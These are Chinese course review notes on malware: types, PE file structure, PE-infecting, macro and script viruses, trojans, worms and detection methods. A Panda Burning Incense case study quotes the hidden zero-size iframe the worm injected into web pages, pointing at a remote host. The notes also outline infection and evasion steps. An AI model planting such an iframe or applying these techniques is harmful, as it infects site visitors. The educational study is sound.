本文主要是介绍软件安全复习(恶意代码部分),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
七、恶意代码及其分类
- 恶意代码(Malicious Code、MalCode、MalWare):指在未经授权的情况下,在信息系统中安装、执行以达到不正当目的的程序
- 恶意代码的功能:获取数据,破坏系统,动态控制与渗透拓展攻击路径等
- 恶意代码的分类:计算机病毒,蠕虫,木马,后门,Rootkit,僵尸(bot)、流氓软件、间谍软件、勒索软件、逻辑炸弹、Exploit、黑客工具等。
- 蠕虫(Worm):是指能自我复制和广泛传播,以占用系统和网络资源为主要目的的恶意程序
可以独立运行,不需要用户干预,并能把自身的一个包含所有功能的版本传播到另外的计算机上。
如:红色代码,SQL蠕虫王、震网
按照传播路径可分为:邮件蠕虫、即时消息蠕虫、U盘蠕虫、漏洞利用蠕虫和其他蠕虫5类。
- 病毒(Virus):通过感染计算机文件进行传播,以破坏或篡改用户数据,影响信息系统 正常运行为主要目的恶意程序。
是一段代码,能把自身加到其他程序包括操作系统上;它不能独立运行,需要由它的宿主程序运行来激活。
如:CIH、熊猫烧香、爱虫
- 计算机病毒和蠕虫的区别:
- 传播方式:计算机病毒通常会通过文件复制、网页浏览、下载等方式传播,而蠕虫则主要通过网络连接进行传播。
- 破坏性:计算机病毒具有很大的破坏性,可以破坏计算机系统、文件和数据,甚至导致计算机无法正常使用。
- 复制方式:计算机病毒可以感染其他文件,将自己的代码复制到这些文件中,并在这些文件运行时启动病毒程序。而蠕虫则不会感染其他文件,而是通过复制自身来传播。
- 触发条件:计算机病毒需要在特定条件下才能触发,例如双击某个文件或打开某个网页等。而蠕虫则会利用系统漏洞进行自动传播,不需要人工干预。
- 木马:是指一类看起来具有正常功能,但实际上隐藏着很多用户不希望的功能的程序。通常由控制端和被控制端两端组成,不能自我传播
如:冰河、网络神偷、灰鸽子、Gh0st、上兴……
- 后门:使得攻击者可以对系统进行非授权访问的一类程序。
如:Bits,WinEggDrop,Tini......
- Rootkit:通过修改现有的操作系统软件,使攻击者获得访问权并隐藏在计算机中的程序。
如:Rootkit,Hkdef,Byshell
- 僵尸程序:是指恶意控制功能的程序代码,能够自动执行预定义的功能、可以被预定义的命令控制
- 逻辑炸弹:是合法程序,但在编程时故意写入某种恶意功能。
- 间谍软件:以主动收集用户个人信息、相关机密文件或隐私数据为主,搜集到的数据会主动传送到指定服务器。
- Exploit:精心设计的用于利用特定漏洞以对目标系统进行控制的程序。
- 恶意代码与网络犯罪:
中华人民共和国刑法:
最高人民法院、最高人民检察院关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释
提供侵入、非法控制计算机信息系统的程宝,工具罪:
八、PE文件结构
- PE文件:可移植的可执行文件 (PE,Portable Executable FileWin32平台可执行文件使用的一种格式。
如:windows下的.exe,.dll,.sys,.scr。DOS系统下的MZ格式。
- 病毒感染PE文件的目的:
- 使目标PE文件具备病毒特点
- 但不破坏目标PE文件原有功能和外在形态
- 控制权获取
- 【PE入门】使用PEView分析PE文件
- PE文件格式总体结构:
DOS Header和 DOS Stub:定位PE文件头开始位置,也可用于PE文件合法性检测之一
NT header:由字串(Signature)(PE标记,可以此识别给定文件是否为有效PE文件)、映像文件头(File Header)和可选文件头(Optional Header)三部分组成。
AddressOfEntryPoint:包含在可选文件头中,是PE装载器准备运行的PE文件的第一条指令的RVA(病毒感染中通用关键字段)。
ImageBase:PE文件的优先装载地址。比如,如果该值是400000h,PE装载器将尝试把文件装到虚拟地址空间的400000h处。RVA(相对虚拟地址)就是相对内存中ImageBase的偏移位置。
alignment:对齐粒度。比喻:桶的容量为100升,现有367升水,请问需要使用多少个桶?
对齐粒度通常由PE文件格式规范中定义的两个参数确定:文件对齐粒度和内存对齐粒度。
- 文件对齐粒度(File Alignment):这是节在磁盘上存储时的对齐方式。每个节的大小都会被这个值整除,以确保节的起始地址是文件对齐粒度的倍数。这样可以减少磁盘碎片的产生,提高文件的读写效率。
- 内存对齐粒度(Section Alignment):这是节在加载到内存时的对齐方式。每个节的起始地址都会被这个值整除,以确保该节在内存中的地址是内存对齐粒度的倍数。这样可以确保内存空间的利用率,并有助于提高程序的执行效率。
Data Directory:数据目录
Sections Tables:节表,紧挨着 PE header 的一个结构数组。PE文件中每一个节均对应一个节表,节表内容包含:节名,节在文件和内存中的开始地址,长度,节属性等。
Sections Characteristics:节属性,包含在节表中。
记住三个特殊值:0x20000000--这个块是可执行的。0x40000000-- 这个块是可读的 0x80000000-- 这个块是可写的
Section 节:可执行文件的核心部分,跟在节表之后,一般PE文件都有几个“节”,比如代码节,数据节,引入函数节,资源节,引出函数节,重定位节。
- 代码节(又名.text,CODE):含有程序的可执行代码
- 已初始化的数据节(.data,DATA):含有在编译时刻就已确定的数据
- 未初始化的数据节(.bbs):含有未初始化的全局变量和静态变量
- 引入函数节(.rdata):引入函数即被某模块调用的但又不在调用者模块中的函数。这些函数位于一个或者多个DLL中,在调用者程序中只保留了函数信息,包括函数名及其驻留的DLL名等。
- 巨详细的引入函数讲解
- 引入目录表(IDT--Import Directory Table):用于描述文件所依赖的动态链接库(DLL)中的函数和数据,由一系列IMAGE_IMPORT_DESCRIPTOR结构数组组成。
定位IDT:PE可选文件头的DataDirectory16项的第二项指向IDT输入表。
IMAGE_IMPORT_DESCRIPTOR结构:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD OriginalFirstThunk;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
OriginalFirstThunk:指向一个 IMAGE_THUNK_DATA 结构数组,该数组名字叫Import Name (Lookup) Table包含了原始的函数名和相应的导入地址表(IAT)条目。每个条目包含一个函数名和该函数在DLL中的地址。
TimeDateStamp:时间戳,表示DLL文件的创建日期或版本信息。如果这个字段为0,表示没有绑定信息。在老版的绑定中,这个字段引用API的第一个forwarder chain(传递器链表)。
ForwarderChain:指向一个 IMAGE_THUNK_DATA 结构数组,该数组包含DLL中的向前链接(forwarder chain)。这些条目将包含指向其他DLL中的函数的指针。如果这个字段为0xFFFFFFFF,表示没有向前链接。
Name:指向一个以NULL结尾的字符串,该字符串包含了被导入的DLL的名称。这个字段是一个相对虚拟地址(RVA),它指向DLL文件的名称。
FirstThunk:指向一个 IMAGE_THUNK_DATA 结构数组,该数组名字叫Imort Address Table包含了与 OriginalFirstThunk 字段中对应的IAT条目相同的函数名和相应的IAT条目。这个字段通常用于实现延迟绑定(lazy binding),其中函数在首次调用时才解析其地址。
在内存中的引入表:
在运行时的引入目录表(IDT):
- 导出函数节(又名.edata):是本文件向其他程序提供调用函数的列表、函数所在的地址及具体代码实现。关键结构式导出目录表。
定位EDT:PE可选文件头的DataDirectory16项的第一项指向EDT输入表。
PE格式----目录----导出表
导出目录表结构:
导出地址表(Export Address Table):包含了每个导出函数的实际地址。
导出名字指针表(Export Pointer Table):包含了所有导出函数的名称,按照函数序号的顺序排列。
导出序号表(Export Ordinal Table):包含了所有导出函数的序号。每个整数都对应一个函数名称在名称指针表中的位置。
为什么需要导出序号表?
因为导出函数名字和导出地址表的地址不是一一对应的关系,一个函数可能有多个名字;某些函数也可能没有名字,仅通过序号列出。
定位dll中目标函数地址
首先从AddressOfNames指向的指针数组中找到“目标函数名”字符串,并记下该数组序号i
然后从AddressofNameOrinals指向的数组中,定位第i项成员,得到一个Ordinal: y。y为目标函数地址在AddressofFunction中的索引号。
从AddressofFunction指向的数组中定位第y项,获得目标函数的RVA函数地址
定位函数导出地址
例子:GetProcAdress()寻址过程
- 资源节(.rsrc):放有如图标、对话框等程序要用到的资源。树形结构,有一个主目录,主目录下又有子目录,子目录下可以是子目录或数据。Windows通常有3层目录(资源类型、资源标识符、资源语言),第4层是具体的资源。
几个结构:
目录是IMAGE_RESOURCE_DIRECTORY结构。
目录项是IMAGE_RESOURCE_DIRECTORY_ENTRY 结构
数据项是IMAGE_RESOURCE_DATA_ENTRY结构
定位资源:
资源一般使用树来保存,通常包含3层,最高层是类型其次是名字,最后是语言。
在资源节开始的位置,首先是一个IMAGE RESOURCE DIRECTORY结构,后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组,这个数组的每个元素代表的资源类型不同;
通过每个元素,可以找到第二层另一个IMAGE RESOURCEDIRECTORY,后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组这一层的数组的每个元素代表的资源名字不同;
然后可以找到第三层的每个IMAGE RESOURCE DIRECTORY后面紧跟着IMAGE RESOURCE DIRECTORY ENTRY数组。这一层的数组的每个元素代表的资源语言不同;
最后通过每个IMAGE RESOURCE DIRECTORY ENTRY可以找到每个IMAGE RESOURCE DATA ENTRY。通过每个IMAGE RESOURCE DATA ENTRY,就可以找到每个真正的资源。
应用:
图标修改,汉化......
- 重定位节:存放了一个重定位表。若装载器不是把程序装到程序编译时默认的基地址时,就需要这个重定位表来做一些调整。以IMAGE_BASE_RELOCATION结构开始。
如果在首选位置加载映像文件,就不需要进行定位。否则需要进行重定位:
为了对地址进行重定位,操作系统加载程序会计算出首选的基地址(PE头的ImageBase字段)和实际加载映像文件的基地址之间的差异 (delta)。
接着根据重定位的类型,将这个delta应用到地址上
九、PE文件病毒
- PE病毒:以Windows PE程序为载体,能寄生于PE文件,或Windows系统的病毒程序。
- 感染的定义:在尽量不影响目标程序(系统)正常功能的前提下,使其具有病毒自己的功能
- 计算机病毒)PE文件病毒
- 病毒感染PE文件的基本方法
- PE病毒的分类:
- 文件感染:将代码寄生在PE文件中。如传统感染型,捆绑释放型
- 系统感染:将代码或程序寄生在Windows操作系统。如即时通信软件,U盘,光盘,电子邮件,网络共享等。
- 传统文件感染型:
感染思路:
优点:被感染后的程序主体依然是目标程序,不影响目标程序图标,隐蔽性很好。
缺点:对病毒代码的编写要求较高,通常是汇编语言编写,难以成功感染自校验程序
关键技术:
重定位(病毒代码目标寄生位置不固定),API函数自获取(需要使用API函数,但无引入函数节支撑),目标程序遍历搜索(全盘查找,或者部分盘盘符查找),感染模块(病毒代码插入位置选择与写入,控制权返回机制)
- 重定位:本质是修正实际地址与预期地址的差异
- API函数地址自获取:
如何获取kernel32.dll中的API函数地址?
首先,获得kernel32.dll的模块加载基地址,然后,通过kernel32.dll的引出目录表结构定位具体函数的函数地址。
如何获得kernel32.dll的模块加载基地址?
1. 暴力搜索法:参考获取kernel32.dll基址
2. 利用SEH链:遍历SEH链,在链中查找prev成员等于0xFFFFFFFF 的EXCEPTION_REGISTER结构,该结构中handler值指向系统异常处理例程,xp系统中位于KERNEL32模块中。根据这一特性,然后进行向前搜索就可以查找KERNEL32.DLL在内存中的基地址。
3. 通过PEB数据结构: 参考获取kernel32.dll基址
4. TOP Stack:只适用于Windows NT操作系统,但这种方法的代码量是最小的,只有25B。
每个执行的线程都有它自己的TEB(线程环境块),该块中存储着线程的栈顶的地址,从该地址向下偏移0X1C处的地址肯定位于Kernel32dIl中。则可以通过该地址向低地址以64KB为单位来查找Kernel32dll的基地址。
- 目标程序遍历搜索
通常以PE文件格式的文件(如EXE、SCR、DLL等作为感染目标。
在对目标进行搜索时,通常调用两个API函数FindFirstFile和FindNextFile
遍历算法:递归或者非递归
- 文件感染
感染的关键:
感染文件的基本步骤:
- 判断目标文件开始的两个字节是否为“MZ
- 判断PE文件标记“PE”
- 判断感染标记,如果已被感染过则跳出继续执行HOST程序,否则继续获得Data Directory (数据目录)的个数,(每个数据目录信息占8个字节)
- 得到节表起始位置。(Directory的偏移地址+数据目录占用的字节数=节表起始位)
- 得到目前最后节表的末尾偏移(紧接其后用于写入一个新的病毒节)节表起始位置+节的个数*(每个节表占用的字节数28H)=目前最后节表的末尾偏移。
- 开始写入节表和病毒节
- 修正文件头信息(入口地址、镜像大小、文件头中的节的数目
- 捆绑式感染:将HOST作为数据存储在病毒体内
优点:编写简单、效率高。可感染自校验程序。
缺点:被感染后的程序主体是病毒程序,易被发现(程序叠加+释放执行),程序图标问题。
- 系统感染型:通常为单独个体,不感染系统内的其他文件。
如何再次获得控制权?
常见的自启动方式:在系统内部修改注册表的键值、系统中的特定位置,配置文件,特定的文件
其他启动方式:利用系统自动播放机制如Autorun.inf,或在其他可执行文件嵌入少量触发代码,DLL劫持(替换已有DLL文件)
系统病毒的传播方式:
- 一切可以对外交互的渠道
- 各种存储设备( U 盘、移动硬盘、光盘、智能设备)
- 网络通信方式( QQ 、 Email 、微信等)
- 网络连接方式(有线、 wifi 、蓝牙)
- 各类网络应用(迅雷、 BT )
- 典型案例-熊猫烧香病毒
自启动方式:
病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项->启动
拷贝自身到所有驱动器根目录,命名为Setup.exe,在驱动器根目录生成autorun.inf文件,并把这两个文件的属性设置为隐藏、只读、系统。 ->启动
感染与传播方式:
感染EXE文件,病毒会搜索并感染系统中特定目录外的所有EXE/SCR/PIF/COM文件,将自身捆绑在被感染程序前端,并在尾部添加标记信息WhBoy原文件名]exe.原文件大小].->感染
查找系统以html和asp为后缀的文件,在里面插入<iframesrc=http://www.ac85.cn/66/index.htm width=”0height=”0”></iframe> ->感染
通过弱口令传播:访问局域网共享文件夹将病毒复制到该目录并改名GameSetup.exe ->传播
自我隐藏:
禁用安全软件,病毒会尝试关闭安全软件 (杀毒软件、防火墙、安全工具)的窗口、进程、删除注册表中安全软件的启动项以及禁用安全软件的服务等操作;->破坏和隐藏
自动恢复“显示所有文件和文件夹”选项隐藏功能->隐藏
删除系统的隐藏共享;->隐藏>
破坏功能:
同时开另外一个线程连接某网站,下载DDOS程序进行恶意攻击 ->破坏,附加攻击行为
删除扩展名为gho的文件->破坏,延长存活时间;
十、宏病毒和脚本病毒
- 宏的定义:宏就是能组织到一起作为独立的命令使用的一系列word命令,可以实现任务执行的自动化,简化日常工作。 Microsoft Office 使用Visual Basic for Applications (VBA)进行宏的编写。
- 宏病毒:存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等) ,使用宏语言编写,利用宏语言的功能将自已寄生到其他数据文档。
- 宏病毒的感染:
在Word和其他微软Office系列办公软件中,宏分为两种:
内建宏:位于文档中,对该文档有效,如文档打开 (AutoOpen)、保存、打印、关闭等。
全局宏:位于office模板normal.dot,为所有文档所共用,如打开Word程序(AutoExec)。
宏病毒的传播路线:
单机:单个office文档->office文档模板->多个office文档
网络:电子邮件居多
宏病毒的感染方案:
让宏在 数据文档 和 文档模板 之间互相感染。
如何感染:
- 宏病毒的自我保护:
- 禁止提示信息
- 屏蔽命令菜单,不允许查看宏。可以通过特定宏定义或删除特定菜单项
- 隐藏真实代码
- VBS(Visual Basic Scripts):Visual Basic脚本语言,一种微软环境下的轻量级的解释型语言
VBScript可以通过Windows脚本宿主(WindowsScripting Host,WSH)调用COM,因而可以使用Windows操作系统中可以被使用的程序库。
WSH的作用:映射网络驱动器,检索及修改环境变量,处理注册表项,对文件系统进行操作等工作,管理服务、账号,创建登陆脚本,管理活动目录......
- VBS病毒:用VBScripts编写,能够进行自我传播的破坏性程序,且需要人工干预触发进行
感染方式
VBS脚本病毒是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序中的。
病毒如何获得控制权
- 修改注册表启动项
- 添加程序到“开始”“程序”-“启动”选项
- 修改系统配置文件win.ini、system.ini、wininit.iniwinstart.bat、autoexec.bat等的相关启动选项。
- 通过映射文件执行方式
- 欺骗用户,让用户自己执行
- desktop.ini和folder.htt互相配合
对抗反病毒软件的技巧
自加密、灵活运用Execute函数、改变某些对象的声明方法、直接关闭反病毒软件
常见的VBS变形技术
VBS病毒生产机,爱虫病毒,
十一、木马与后门
- 木马(特洛伊木马):通过欺骗或诱骗的方式安装,并在用户的计算机中隐藏以实现控制户计算机的目的,具有远程控制、信息窃取、破坏等功能的恶意代码:
特点:欺骗性,隐藏性,非授权性,交互性
- 木马的分类(从功能视角):
- 远程控制型木马:远程控制,双向交互(攻击者<->被控制端),如backdoor
- 信息获取型木马:信息获取,单向交互(攻击者<-被控制端),如Trojan-Bank
- 破坏型木马:对本地或远程主机系统进行数据破坏、资源消耗等,单向交互(攻击者->被控制端),少数无交互,如Trojan-DDos
- 木马的植入方式:
- 网页木马植入:自动下载安装
- 电子邮件植入:附件形式;电子邮件与恶意网页相结合,即使不打开附件,选中就会被植入
- 文档捆绑植入:office文档、pdf文档漏洞
- 伪装欺骗植入:更改后缀名、图标伪装
- 捆绑植入:EXE捆绑、文档嵌入、多媒体文件、电子书植入
- 其他:特定U盘植入(故意丢弃、或者工作U盘、数据拷贝等),社会工程
- 木马的通信方式:传输通道构建信息,如IP地址、端口等信息、第三方网站地址
- 正向连接:控制端主动连接被控端
优点:攻击者无需公网(外部)IP地址。木马样本不会泄露攻击者IP地址
缺点:可能被防火墙阻挡,被攻击者必须具备公网(外部)IP地址,定位被攻击者相对困难
- 反向连接1:
优点:通过防火墙相对容易,攻击目标随时上线,随时控制,可以控制局域网内的(内网)目标
缺点:样本会暴露控制服务器信息(域名或IP),攻击者通常应当具有外部IP
- 反向连接2:
优点:可绕过防火墙,自动连接上线,不易被发现(代理)
缺点:肉鸡的稳定性需要保障
- 木马结构:完整的木马一般由木马配置程序、控制端程序(客户端)和被控制端程序(服务端程序)等三部分组成。
- 木马典型功能:
- 文件管理:获取目标的文件系统信息,功能有浏览各磁盘文件,上传、下载文件,执行文件,删除文件,修改文件信息。
- 进程管理:查看、结束或者暂停目标系统进程F进程。作用:查看目标系统的环境信息安装了哪些软件?目前对方正在做什么?停止或暂停目标系统的相关程序,如反病毒程序
- 服务管理:查看并管理目标系统的服务:创建服务,启动/停止服务,删除服务。作用:查看目标系统的环境信息,停止或暂停目标系统的相关程序。
- 注册表管理
- 屏幕控制:实现屏幕监视、控制键盘和鼠标功能。
- 屏幕截取:抓取屏幕。作用:了解目标主机的当前操作系统
- 语音视频截获:录音窃取谈话信息,开启摄像头。
- 键盘记录:获取目标电脑中的键盘击键信息,如用户名、密码信息
- 窗口管理:查看目标主机目前开启了哪些窗口
- 远程shell:交互式或非交互式Shell,直接执行命令或第三方程序
- 木马的检测思路:静态文件特征,网络流量特征,系统行为特征,功能行为特征,攻击意图等
- 后门:一种被插入到软件或系统中的隐藏通道,使得攻击者可以对系统进行非授权访问的一类程序。
特点:隐蔽性,持续性,主动安装,特殊权限
十二、网络蠕虫
- 计算机蠕虫的两个最基本特征: 可以从一台计算机移动到另一台计算机,可以自我复制
- 计算机蠕虫定义:可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。独立个体,不需要用户干预。
- 计算机病毒定义:是一段代码,能把自身加到其他程序包括操作系统上;它不能独立运行,需要由它的宿主程序运行来激活。寄生代码,需要用户干预。
- 网络蠕虫的分类:
- 漏洞利用类蠕虫(ExploitWorm):如Slammer、MsBlaster、SasserStuxNet等
- 口令破解类蠕虫(PassWorm):通过弱口令进入目标系统,如2003年“口令蠕虫”,2016年Mirai
- 邮件传输类蠕虫(MailWorm):如Sobig、Mydoom、@mm类
- 及时通信类(IMWorm):如QQ尾巴
- 蠕虫的基本功能模块(漏洞利用型)
- 信息搜集模块:为发现易感染目标提供支持
- 扫描探测模块:目的完成特定目标的脆弱性检测,发现易感染目标
- 攻击渗透模块:该模块利用安全漏洞建立获取目标的控制权。
- 自我推进模块:该模块在本机与目标主机之间完成蠕虫副本传递
- 蠕虫的传播阶段:慢启动阶段--快速传播阶段--慢结束阶段--被清理期
- 漏洞利用型蠕虫的特征:
- 利用系统漏洞、网络应用服务漏洞
- 主动攻击、无需人为干预
- 速度极其迅猛
- 蠕虫与病毒防护的特征:
- 网络蠕虫的检测和防治:
- 对于个人用户:及时修补补丁,使用防火墙软件,关注流量的异常性
- 对于网络管理者:运用网关阻断,补丁下发
- 对于网络应用厂商:应用流量过滤和阻断,补丁自动分发和修补
- 对于安全厂商:网络流量分析与提取,网络安全设备快速阻断,快速利用客户端安全软件清除蠕虫个体,进行补丁修补
十三、恶意代码的检测技术
- 恶意代码的检测:将检测对象与恶意代码特征(检测标准)进行对比分析,定位病毒程序或代码,或检测恶意行为。
检测对象包括:主板BIOS,引导扇区,文还系统中可能带毒的文件,内存空间等
- 检测对象:
- 引导扇区:检测具有控制权的引导扇区,如 硬盘主导扇区(MBR、DPT、ID),硬盘操作系统引导扇区可移动磁盘引导扇区。检测目标:引导区病毒、MBR木马等
- 可能带毒的文件:如可执行文件,数据文件,脚本文件,网页文件
- 内存空间:由于恶意代码在传染或执行时,必然要占有一定的内存空间,部分功能代码驻留在内存中。
- 病毒的检测策略:
- 专用检查技术:针对某个或某些特定已知恶意代码。
- 通用检测技术:针对已知和未知恶意代码
- 特征值检测技术:
恶意代码特征值是反病毒软件鉴别特定计算机病毒的一种标志。通常是从病毒样本中提取的一段或多段字符串或二进制串。
具体思路:获取样本->提取样本特征->更新病毒库->查杀病毒
特征值的提取选择:
特定字串:从计算机病毒体内提取、为病毒所特有的特征串。如特定提示信息,特定签名信息等。如大麻病毒的提示为:“Your PC is now stoned”等。
感染标记:病毒为避免重复感染而使用的感染标记。 如黑色星期五的“suMs DOS”。
提取方法:
人工提取:反病毒工程师对病毒样本进行分析后,人工确定病毒特征
自动提取:通过软件系统自动提取特定范围内特定长度具有一定特征的数据。处理不利则可能被别有用心者利用,形成误杀。
优点:检测速度快、误报率低等优点,为广大反病毒厂 商所采用,技术也比较成熟。
缺点:只能检测已知恶意代码。容易被免杀绕过。
- 校验和检测技术--预期符合性
原理:在文件使用/系统启动过程中,检查检 测对象的实际校验和与预期是否一致,因而可以发现文 件/引导区是否感染。
使用方式:
- 系统自动检测:将校验和检查程序常驻内存,每当应用程序开始运行时,自动核验当前与预先保存的校验和是否一致。
- 专用检测工具:对被查的对象文件计算其正常状态的校验和,将校验和值写入被查文件中或检测工具中,而后进行比较。如MD5Checker
- 自我检测:在应用程序中,放入校验和检测技术自我检查功能,将文件正常状态的校验和写入文件自身,应用程序启动比较现行校验和与原校验和值,实现应用程序的自检测。 如QQ软件。
校验和检测对象:
- 文件头部,
- 文件基本属性:如文件长度、文件创建日期和时间、 文件属性
- 文件内容:校验和
- 系统数据:病毒可能修改、且相对固定的重要系统数据。
优点:方法简单,能发现未知病毒,目标文件的细微变化也能发现
缺点:必须预先记录正常文件的校验和,误报率高,不能识别病毒特征,效率低
- 启发式扫描技术(Heuristic Scanning):
可疑的程序代码指令序列:
- 格式化磁盘类操作
- 搜索和定位各种可执行程序的操作
- 实现驻流内存的操作
- 发现非常用的或未公开的系统功能调用的操作、子程序调用中只执行入栈操作、远距离跳转指令(超过文件长度的三分之二) 等
- 敏刚系统行为
- 敏感API函数调用功能
系统调用DLL:
- Kernel32.dll:常见的DLL,核心系统功能:访问和操作内存、文件和硬件等等
- Advapi32.dll:服务管理器和注册表组件
- User32.dll:用户界面
- Gdi32.dll:图形显示和操作
- Ntdll.dll:Windows内核的接口
- Wsock32.dll:联网dll
- Wininet.dll:更高层次的网络函数,实现了如FTP、HTTP
启发式扫描步骤:
- 定义通用可疑特征(指令序 列或行为)
- 对上述功能操作将被按照安 全和可疑的等级进行排序,授 以不同的权值。
- 鉴别特征,如果程序的权值总和超过一个事先定义的阈值,则认为 “发现病毒”
优点:能够发现未知病毒
缺点:误报率高
解决方案:启发式扫描技术+传统扫描技术,可提高病毒检测软件的检测率,同时有效降低了总的误报率。
- 虚拟机检测技术:
为什么需要虚拟机检测技术?
加密、多态、变形病毒的出,加壳技术
检测原理:
在反病毒系统中设置的一种程序机制,它能在内存中模拟一个小的封闭程序执行环境,所有待查文件都以解释方式在其中被虚拟执行。 通常虚拟执行一小部分代码即可
优点:有效处理加密类病毒。
虚拟机检测技术+特征值扫描,准确率更高。
虚拟机技术+启发式扫描,有利于检测未知变形病毒
缺点:病毒可以检测自身是否处于虚拟化环境中进而改变行为特征
- 主动防御技术(行为监控技术):
检测原理:
动态监视所运行程序调用各种应用编程接口(API)的动作,自动分析程序动作之间的逻辑关系,自动判定程序行为的合法性。
监控应用程序的敏感行为,并向用户发出提示,供用户选择。
常见可疑行为:
对可执行文件进行写操作,写磁盘引导区,病毒程序与宿主程序的切换,写注册表启动键值,远程线程插入,安装、加载驱动,键盘钩子,自我隐藏,下载并执行等..
优点:可发现未知恶意软件、可准确地发现未知恶意软件的恶意行为。
缺点:可能误报警、不能识别恶意软件名称,以及在实现时有一定难度。
这篇关于软件安全复习(恶意代码部分)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!